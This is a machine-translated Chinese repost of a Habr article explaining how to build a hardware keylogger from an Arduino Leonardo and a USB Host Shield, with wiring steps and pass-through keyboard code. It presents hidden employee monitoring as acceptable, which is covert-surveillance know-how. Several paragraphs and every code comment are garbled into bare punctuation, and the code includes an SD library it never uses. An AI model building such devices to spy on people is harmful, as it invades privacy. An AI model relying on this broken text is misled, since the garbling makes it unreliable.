Arduino上的键盘记录器

前言


值得一提的是,该设备的范围不是很大。对于工作而言,这就是监视,监视工作时间,防止信息泄漏,仅此而已。

在日常生活中,这种东西可以使生活更轻松。例如,他们按下了某个特定的组合键-Arduino识别出它们并...发送了一个信号来打开水壶。如果不是水壶,那就别的了。

但是,这仍然是对雇员的平庸跟踪(甚至可能是隐藏的),从道德的角度来看这是不好的。但是,如果在劳动合同中有规定,并且在工作时间内和在工作场所进行这种监视,并且当然会通知员工并签字,则该法律证书会予以批准。

好吧,在您的个人生活中,只要涉及到您的财产,您就可以自由地做任何您想做的事情。

我们受法律保护的所有内容,现在我将告诉和说明我们需要什么以及如何将它们放在一起以从键盘上获得简单的击键拦截器。

让我们开始吧


因此,我们需要一打电线和两块电路板:

1)Arduino Leonardo



2)USB Host Shield



为什么选择Arduino Leonardo?由于它相对便宜,并且与以前的产品不同,ATmega32u4内置了对USB连接的支持。

USB协议定义了两种类型的设备:主机(主机,服务器)和外围设备(从机,客户端)。 USB Host Shield管理并为外围设备供电。例如,当您将键盘连接到PC时,PC是控制客户端的主机,而在这种情况下,客户端就是键盘。

并且有很多受支持的外围设备。其中最有趣的是:

1)HID设备:键盘,鼠标,操纵杆等
。2)游戏控制器
3) ADK- Android .

.

– . HID . HID 8 :

1) 1 – (L Ctrl, R Ctrl, L Shift, R Shift . .).
2) 2 – , .
3) 3-8 – 6 .

.

, , .



, , , .

现在值得解释什么。

Arduino Leonardo具有一个小功能,因此我们不能将其连接在顶部:SPI连接器位于ICSP上(那6个连接器在右侧中间),因此必须将它们连接到USB Host Shield数字连接器。

1)黄线:引脚4 MOSI(连接到USB主机屏蔽的引脚11)。
2)灰色线:1号MISO针(连接到USB主机屏蔽板上的12针)。
3)绿线:3针SCK(连接到USB主机屏蔽的13针)。

我们用最下面的五根电线和一根紫罗兰提供电源:

1)复位到复位
2)3.3V到3.3V
3)5V到5V
4)GND到GND
5)VIN到VIN
6)复位到D7

现在我们需要连接控制引脚:
1)D7至D7
2)D10至D10

这是使其正常工作所必需的最小值。

因此,有一个电路,现在我们需要以某种方式对其进行编程,这是使用Arduino IDE完成的。它是完全免费的,属于公共领域。程序示例和IDE本身可以在官方网站上找到。

要使用USB Host Shield,我们需要一个额外的库(此处)。

代码本身尽可能简单:

#include <hidboot.h>
#include <SPI.h>
#include <SD.h>

//     .
class KeyboardOut
{
  private:
    KeyReport _keyReport; //   8   .
    
    void send_report();
    
  public:
    size_t press(uint8_t mod, uint8_t key);
    size_t release(uint8_t mod, uint8_t key);
};

KeyboardOut keyboard_out;

//     .
size_t KeyboardOut::press(uint8_t mod, uint8_t key) {
  uint8_t i;
  
  _keyReport.modifiers |= mod;
  
  if (_keyReport.keys[0] != key && _keyReport.keys[1] != key && 
    _keyReport.keys[2] != key && _keyReport.keys[3] != key &&
    _keyReport.keys[4] != key && _keyReport.keys[5] != key) {

    for (i=0; i<6; i++) {
      if (_keyReport.keys[i] == 0x00) {
        _keyReport.keys[i] = key;
        break;
      }
    }
    if (i == 6) {
      return 0;
    }	
  }
  send_report();
  return 1;
}

//     .
size_t KeyboardOut::release(uint8_t mod, uint8_t key) {
  uint8_t i;
  
  _keyReport.modifiers &= mod;
  
  for (i=0; i<6; i++) {
    if (0 != key && _keyReport.keys[i] == key) {
      _keyReport.keys[i] = 0x00;
    }
  }
  send_report();
  return 1;
}

void KeyboardOut::send_report()
{
  HID_SendReport(2, &_keyReport, sizeof(KeyReport));	//     .
}

//     USB Host Shield.
class KeyboardIn : public KeyboardReportParser
{
  protected:
    void OnKeyDown  (uint8_t mod, uint8_t key);
    void OnKeyUp  (uint8_t mod, uint8_t key);
};

KeyboardIn keyboard_in;

//     USB Host Shield.
void KeyboardIn::OnKeyDown(uint8_t mod, uint8_t key)
{
  keyboard_out.press(mod, key);
  
  uint8_t c = OemToAscii(mod, key);    //     
  PrintHex<uint8_t>(key, 0x80);            //     
}

//     USB Host Shield.
void KeyboardIn::OnKeyUp(uint8_t mod, uint8_t key)
{
  keyboard_out.release(mod, key);
  
  uint8_t c = OemToAscii(mod, key);
  PrintHex<uint8_t>(key, 0x80);
}

USB     UsbHost;

HIDBoot<HID_PROTOCOL_KEYBOARD>    HidKeyboard(&UsbHost);

void setup()
{
  UsbHost.Init();
  
  delay( 200 );

  HidKeyboard.SetReportParser(0, (HIDReportParser*)&keyboard_in);
}

void loop()
{
  UsbHost.Task();
}

只需通过USB Arduino连接到PC,将键盘连接到USB Host Shield,然后使用IDE将程序下载到Arduino即可,仅此而已!重点捕手已准备就绪!

结果:

1)Arduino以低廉的价格提供了许多功能以及各种各样的模块和传感器。
2)此设备可以让您将键盘变成控制面板,例如电视,电热水壶,电灯,您只需要购买几个模块。

Source: https://habr.com/ru/post/zh-CN388335/


All Articles